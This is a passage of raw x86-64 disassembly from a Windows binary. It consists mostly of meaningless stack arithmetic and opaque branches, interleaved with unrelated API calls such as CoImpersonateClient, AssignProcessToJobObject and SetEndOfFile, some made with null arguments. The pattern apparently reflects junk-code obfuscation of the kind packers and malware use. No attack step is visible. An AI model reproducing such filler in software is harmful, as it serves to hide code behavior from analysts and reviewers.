mov word [rsp + 0x2b28], ax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa2cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8e48], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x630], al
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa2a4], eax
movsx eax, word [rsp + 0x2b34]
movsx ecx, word [rsp + 0x2b24]
or eax, ecx
mov word [rsp + 0x2b2c], ax
movzx eax, byte [rsp + 0x2d7]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14028eec1], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b40], ax
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa324], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f70]
mov qword [rsp + 0x14030], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14030]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa250]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7d08], eax
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xa2f4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa2cc]
mov ecx, dword [rsp + 0xa2bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2f4], eax
movzx eax, word [0x1402826a0]
movzx ecx, word [rsp + 0x2b40]
sub eax, ecx
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x285], al
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov eax, dword [rsp + 0xa2ec]
sub eax, 0x29
mov dword [rsp + 0xa2ec], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028eec8], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa2e0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [0x14028269c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2d7], al
movzx eax, word [rsp + 0x2b40]
movzx ecx, word [rsp + 0x2b48]
xor eax, ecx
mov word [rsp + 0x2134], ax
movsx eax, word [rsp + 0x2b2c]
movsx ecx, word [rsp + 0x2b24]
or eax, ecx
mov word [rsp + 0x2b34], ax
movsx eax, byte [0x140281da7]
movsx ecx, byte [rsp + 0x632]
shl eax, cl
mov byte [rsp + 0x634], al
mov eax, dword [rsp + 0x6c58]
mov rcx, qword [rsp + 0x13f70]
mov qword [rsp + 0x14038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14038]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9d94], eax
mov eax, dword [0x140282690]
mov ecx, dword [rsp + 0xa238]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13f18]
mov byte [rcx], al
cmp dword [rsp + 0xa2ec], 0x6d0a
jae 0x14001905a
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov word [rsp + 0x2b4c], ax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d08], eax
cmp dword [rsp + 0xa2c0], 0xac8c
je 0x1400196df
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c58], eax
mov eax, dword [rsp + 0xa2c0]
add eax, 0xf1
mov dword [rsp + 0xa2c0], eax
mov eax, dword [0x140282690]
mov ecx, dword [rsp + 0xa304]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e20], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa264], eax
movzx eax, word [rsp + 0x2b30]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b48], ax
movzx eax, byte [0x14028eec1]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f2], al
mov eax, dword [rsp + 0x6c58]
mov ecx, dword [rsp + 0xa250]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140282690], eax
mov eax, dword [rsp + 0xa2bc]
movzx ecx, al
mov eax, dword [rsp + 0xa2b0]
shl eax, cl
mov dword [rsp + 0xa2cc], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x14040], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14040]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa2b0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa2e0], eax
movsx eax, word [rsp + 0x2b2c]
movsx ecx, word [rsp + 0x2b34]
and eax, ecx
mov word [rsp + 0x2b24], ax
movsx eax, byte [0x140281da7]
movsx ecx, byte [rsp + 0x634]
add eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
jmp 0x14001955c
movzx eax, byte [rsp + 0x5e9]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x13f18]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x140019731
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4f2], al
jmp 0x14001976b
movzx eax, word [rsp + 0x2b28]
mov word [rsp + 0x2b50], ax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
movzx eax, byte [rsp + 0x630]
mov byte [0x14028eec0], al
movzx eax, byte [rsp + 0x632]
mov byte [rsp + 0xa328], al
cmp byte [rsp + 0xa328], 0
je 0x140019797
cmp byte [rsp + 0xa328], 0x4a
je 0x140019816
jmp 0x1400198e0
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa24c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [rsp + 0xa32c], eax
cmp dword [rsp + 0xa32c], 0x623d
je 0x1400197d3
jmp 0x140019811
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
sub eax, ecx
mov byte [rsp + 0x62f], al
call fcn.140208c60
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b38]
or eax, ecx
mov word [rsp + 0x2b30], ax
jmp 0x1400198e0
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa270], eax
mov r9d, 1
lea r8, [rsp + 0x14048]
lea rdx, [rsp + 0x13ec0]
lea rcx, [rsp + 0x298d0]
call qword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [rsp + 0xa330], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14020]
mov qword [rsp + 0x14050], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14050]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
call fcn.140208c60
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x14058], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14058]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8e48], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x14018]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov edx, dword [0x140282690]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x140019983
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14028eec1], al
mov rax, qword [rsp + 0x13ea8]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x630]
movzx r8d, byte [rsp + 0x630]
mov rax, qword [rsp + 0x13f90]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x634]
call fcn.140208ca0
mov eax, dword [rsp + 0xa2cc]
mov dword [rsp + 0xa334], eax
cmp dword [rsp + 0xa334], 0x68d0
je 0x1400199a0
jmp 0x140019a10
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14020]
mov qword [rsp + 0x14060], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14060]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13f18]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x13e98]
movzx ecx, byte [rax]
call fcn.140208c00
jmp 0x140208299
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa324], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa2dc], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x14068], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14068]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa2bc], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14028eec8], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa2e4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e40], eax
mov eax, dword [rsp + 0xa2f4]
mov ecx, dword [rsp + 0xa264]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e48], eax
mov dword [rsp + 0x24590], 0x114
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2134], ax
movzx eax, byte [rsp + 0x62f]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5e9], al
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0x9e20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [0x14028eec4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa2a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7d08], eax
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xa264]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e0], eax
movzx eax, byte [0x14028eec1]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13f68]
mov byte [rcx], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b40], ax
movsx eax, word [0x140282694]
movsx ecx, word [rsp + 0x2b2c]
xor eax, ecx
mov word [rsp + 0x1948], ax
movsx eax, byte [rsp + 0x634]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
mov eax, dword [rsp + 0x84a4]
movzx ecx, al
mov eax, dword [rsp + 0xa250]
shl eax, cl
mov dword [rsp + 0xa2e4], eax
mov eax, dword [rsp + 0xa2a8]
mov ecx, dword [rsp + 0xa2e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x5e9]
and eax, ecx
mov rcx, qword [rsp + 0x13f18]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b4c]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov word [rcx], ax
mov eax, dword [rsp + 0x9e40]
mov ecx, dword [rsp + 0x6c58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa270]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028eec8], eax
mov eax, dword [rsp + 0xa2b0]
mov ecx, dword [rsp + 0xa310]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e0], eax
mov eax, dword [rsp + 0xa2ac]
add eax, 0xf7
mov dword [rsp + 0xa2ac], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2e4], eax
movzx eax, byte [rsp + 0x285]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f2], al
movzx eax, word [rsp + 0x2b30]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b50], ax
mov eax, dword [rsp + 0xa238]
mov ecx, dword [rsp + 0x9e20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14020]
mov qword [rsp + 0x14070], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14070]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f10]
mov qword [rsp + 0x14078], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14078]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8e48], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa2cc]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14028eec8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
movsx ecx, byte [0x140281da7]
sub eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b4c]
movzx ecx, word [rsp + 0x2b40]
and eax, ecx
mov word [rsp + 0x2134], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5e9]
sub eax, ecx
mov byte [rsp + 0x62f], al
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x9e40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa2cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e20], eax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62f], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028eec4], eax
mov eax, dword [rsp + 0xa2f4]
mov ecx, dword [rsp + 0xa304]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2bc], eax
mov eax, dword [rsp + 0x9e20]
mov ecx, dword [rsp + 0xa2cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
mov eax, dword [rsp + 0xa2e4]
mov ecx, dword [rsp + 0x84a4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d94], eax
movzx eax, word [rsp + 0x2134]
movzx ecx, word [rsp + 0x2b28]
xor eax, ecx
mov word [rsp + 0x2b30], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
shl eax, cl
mov byte [rsp + 0x4f2], al
mov eax, dword [rsp + 0xa2a8]
movzx ecx, al
mov eax, dword [rsp + 0xa2bc]
sar eax, cl
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
cmp dword [rsp + 0xa2ac], 0x1169a
jbe 0x140019a10
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa338], eax
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b34]
imul eax, ecx
mov word [rsp + 0x2b24], ax
lea rax, [rsp + 0x2b34]
mov qword [0x14028eeb8], rax
movsx eax, byte [rsp + 0x62e]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x62], al
movzx eax, byte [rsp + 0x5e9]
movzx ecx, byte [rsp + 0x633]
add eax, ecx
mov byte [rsp + 0x631], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b48]
add eax, ecx
mov rcx, qword [rsp + 0x13fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov dword [rsp + 0xa33c], eax
movsx eax, byte [rsp + 0x634]
movsx ecx, byte [rsp + 0x630]
and eax, ecx
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x13e88]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x14001a0dc
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa33c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa340], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0xa344], al
cmp byte [rsp + 0xa344], 0x44
je 0x14001a087
jmp 0x14001a0cf
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa278]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2cc], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa264]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
call qword [sym.imp.ole32.dll_CoImpersonateClient]
mov dword [rsp + 0xa330], eax
mov dword [rsp + 0xa348], 0x36a6
jmp 0x14001a135
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x2b28]
movzx edx, word [rsp + 0x2b50]
sub ecx, edx
cmp eax, ecx
jge 0x14001a135
mov rax, qword [rsp + 0x13f70]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x13f70]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x633]
movzx ecx, word [rsp + 0x2b34]
call fcn.140208d50
mov rax, qword [rsp + 0x13e88]
movzx eax, byte [rax]
mov byte [rsp + 0xa34c], al
cmp byte [rsp + 0xa34c], 0
je 0x14001a219
cmp byte [rsp + 0xa34c], 0x25
je 0x14001a164
jmp 0x140208190
mov rax, qword [rsp + 0x13f18]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x633]
call fcn.140208c00
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [0x14028eeb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b34]
add eax, ecx
mov word [rsp + 0x1948], ax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028eec4], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa270]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2bc], eax
mov r9d, dword [rsp + 0x84a4]
mov rax, qword [rsp + 0x13f70]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x633]
mov rax, qword [0x14028eeb8]
movzx ecx, word [rax]
call fcn.140208d50
jmp 0x140208190
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b38]
sub eax, ecx
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa24c]
mov eax, dword [rax]
or eax, ecx
mov ecx, dword [rsp + 0xa2e4]
mov edx, dword [rsp + 0x9d94]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14001a35d
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov dword [rsp + 0xa350], eax
cmp dword [rsp + 0xa350], 0
je 0x14001a295
cmp dword [rsp + 0xa350], 0xfb0
je 0x14001a342
jmp 0x14001a35b
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa2e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e20], eax
mov rax, qword [rsp + 0x14018]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0xa2bc]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14001a340
lea rdx, [rsp + 0x14020]
lea rcx, [rsp + 0x13e80]
call qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [rsp + 0xa330], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [0x14028eec4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
movzx ecx, byte [rsp + 0x62]
call fcn.140208b40
jmp 0x14001a35b
mov eax, dword [rsp + 0xa2cc]
mov ecx, dword [rsp + 0xa338]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e0], eax
jmp 0x14001a396
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xa2a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa338], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2134], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa324], eax
movzx eax, byte [rsp + 0x633]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14028eec1], al
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14020]
mov qword [rsp + 0x14080], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14080]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa2f4], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa2a8]
shl eax, cl
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2cc], eax
movsx eax, byte [rsp + 0x632]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov byte [rcx], al
movsx eax, word [rsp + 0x2b2c]
mov rcx, qword [0x14028eeb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b34], ax
movzx eax, word [0x140282698]
movzx ecx, word [rsp + 0x2134]
add eax, ecx
mov word [rsp + 0x2b48], ax
movzx eax, byte [rsp + 0x5e9]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14028eec1], al
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e40], eax
movzx eax, word [rsp + 0x1840]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b40], ax
movzx eax, byte [rsp + 0x633]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4f2], al
mov eax, dword [rsp + 0xa310]
mov ecx, dword [rsp + 0xa2e0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e48], eax
mov eax, dword [rsp + 0xa250]
movzx ecx, al
mov eax, dword [0x14028269c]
shl eax, cl
mov dword [rsp + 0x84a4], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14018]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2a8]
add ecx, eax
mov eax, ecx
